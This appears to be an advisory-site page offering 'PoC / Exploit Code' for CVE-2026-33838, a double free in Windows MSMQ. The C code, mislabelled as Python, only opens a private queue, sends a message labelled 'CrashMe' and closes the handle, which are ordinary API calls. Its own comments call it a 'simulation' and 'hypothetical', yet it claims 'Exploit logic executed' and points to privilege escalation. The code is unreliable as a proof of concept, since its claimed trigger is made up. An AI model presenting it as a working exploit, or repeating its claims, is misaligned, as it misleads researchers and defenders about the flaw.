Windows Message Queuing (具体受影响版本请参考 Microsoft Security Update Guide)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-33838
* This is a simulation of the trigger logic for Double Free in MSMQ.
* Requires running in an environment with MSMQ installed.
*/
#include <windows.h>
#include <mq.h>
void TriggerVulnerability() {
HANDLE hQueue = NULL;
WCHAR *queueName = L".\\PRIVATE$\\TestQueue";
// Attempt to open or create a queue
if (MQOpenQueue(queueName, MQ_SEND_ACCESS, MQ_DENY_NONE, &hQueue) != MQ_OK) {
printf("Failed to open queue. Ensure MSMQ is running.\n");
return;
}
// Simulate the specific sequence of operations that lead to Double Free
// In a real scenario, this involves malformed message properties or handle manipulation
printf("[+] Queue handle obtained: 0x%p\n", hQueue);
// Hypothetical malformed message structure
MQMSGPROPS msgProps;
MSGPROPID aPropId[1];
MQPROPVARIANT aPropVar[1];
DWORD cProp = 1;
aPropId[0] = PROPID_M_LABEL;
aPropVar[0].vt = VT_LPWSTR;
aPropVar[0].pwszVal = L"CrashMe";
msgProps.cProp = cProp;
msgProps.aPropID = aPropId;
msgProps.aPropVar = aPropVar;
msgProps.aStatus = NULL;
// Sending the message to trigger the corruption
if (MQSendMessage(hQueue, &msgProps, NULL) != MQ_OK) {
printf("Failed to send message.\n");
}
// Cleanup operations that might trigger the double free
MQCloseQueue(hQueue);
printf("[!] Exploit logic executed. Check for crash or privilege escalation.\n");
}
int main() {
printf("CVE-2026-33838 PoC Trigger\n");
TriggerVulnerability();
return 0;
}